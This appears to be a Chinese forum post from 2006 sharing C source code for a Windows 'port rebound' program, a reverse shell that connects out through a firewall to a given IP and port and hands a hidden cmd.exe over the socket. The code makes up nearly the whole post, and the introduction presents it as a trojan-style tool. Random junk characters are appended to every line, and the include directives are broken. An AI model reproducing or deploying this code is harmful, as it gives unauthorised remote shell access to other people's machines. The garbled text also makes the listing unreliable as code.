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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 A@fshWrl%  
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/* ============================== ?et0W|^k  
Rebound port in Windows NT OdtbVF~  
By wind,2006/7 ?ZD{e|:u  
===============================*/ rVc zO+E  
#include :d:|7hlNQ  
#include Y:#kel<  
~`W6O>  
#pragma comment(lib,"wsock32.lib") 2xz%'X%  
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void OutputShell(); !rN#PF>  
SOCKET sClient; `t/@ L:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pEqr0Qwh  
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void main(int argc,char **argv) H@OrX  
{ 8=u+BDG  
WSADATA stWsaData; Oa3=+_C~$1  
int nRet; I*`=[nR  
SOCKADDR_IN stSaiClient,stSaiServer; a`GN@ 8  
E: LQ!  
if(argc != 3) 6kmZ!9w0|  
{ JXD?a.vy^q  
printf("Useage:\n\rRebound DestIP DestPort\n"); $TH'"XK  
return; ,AFC1t[0  
} J_((o  
qJAv=D  
WSAStartup(MAKEWORD(2,2),&stWsaData); 4N0W& Dy  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vb80J<4  
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stSaiClient.sin_family = AF_INET; \M1M2(@pDJ  
stSaiClient.sin_port = htons(0); MSrY*)n!>O  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); v;NZ"1=_  
bl+@}+A  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _g/T H-;^  
{ /^es0$Co.  
printf("Bind Socket Failed!\n"); (tz_D7c$F  
return; }tS6Z:fOY  
} WPh |~]by<  
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stSaiServer.sin_family = AF_INET; 6=`m   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kxKnmB#m-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ytcG6WN3  
Ty,)mx){)  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _|5FrN  
{ 7.Kjg_N#Tr  
printf("Connect Error!"); e*'|iuDrY  
return; 4jyr\=42F'  
} wshp{ y  
OutputShell(); E]U3O>hf  
} +Hm+ #o  
M& BM,~  
void OutputShell() ~jCpL@rS  
{ V?L$ ys  
char szBuff[1024]; b&V]|Z (  
SECURITY_ATTRIBUTES stSecurityAttributes; VTgbJ {?  
OSVERSIONINFO stOsversionInfo; V3hm*{ON  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :\w[xqH  
STARTUPINFO stStartupInfo; #Ot*jb1  
char *szShell; R*TGn_J`  
PROCESS_INFORMATION stProcessInformation; [C~)&2wh>  
unsigned long lBytesRead; ^Hhw(@`qf  
>cr_^(UW&  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >Qbc(}w  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .8uwg@yD  
stSecurityAttributes.lpSecurityDescriptor = 0;  F>oxnhp6  
stSecurityAttributes.bInheritHandle = TRUE; 5}l#zj  
7)6Yfa]I%  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Gk]qE]hi  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); E( 4lu%  
6L`+ z  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); gp&& c,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hk~ gcG  
stStartupInfo.wShowWindow = SW_HIDE; :`"T Eif  
stStartupInfo.hStdInput = hReadPipe; +` Y ?-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ev|{~U  
EwBN+v;)  
GetVersionEx(&stOsversionInfo); zl0:U2x7  
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switch(stOsversionInfo.dwPlatformId) SAo \H  
{ 5`{;hFl  
case 1: rjf=qh5s  
szShell = "command.com"; BnnUUaE  
break; i11GW  
default: 'LLQ[JJ=O  
szShell = "cmd.exe"; "qP^uno  
break; g!) LhE  
} @7Rt[2"e  
kpreTeA]  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `6/Yf@b  
jvQ+u L  
send(sClient,szMsg,77,0); pZJQKTCG  
while(1) C.e|VzQa  
{ %LZM5Z^  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Xgth|C}k  
if(lBytesRead) iYQy#kO  
{ YU0HySP:  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); f]6` GsE  
send(sClient,szBuff,lBytesRead,0); n; '~"AG)  
} 7'/2:"  
else J ]^gF|  
{ A%8`zR  
lBytesRead=recv(sClient,szBuff,1024,0); uV$d7(N}"  
if(lBytesRead<=0) break; &*:)5F5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Fh4w0u*Q  
} ].T;x|  
} 2?7hUaHX  
_M4v1Hr48  
return; pz6- hi7  
}
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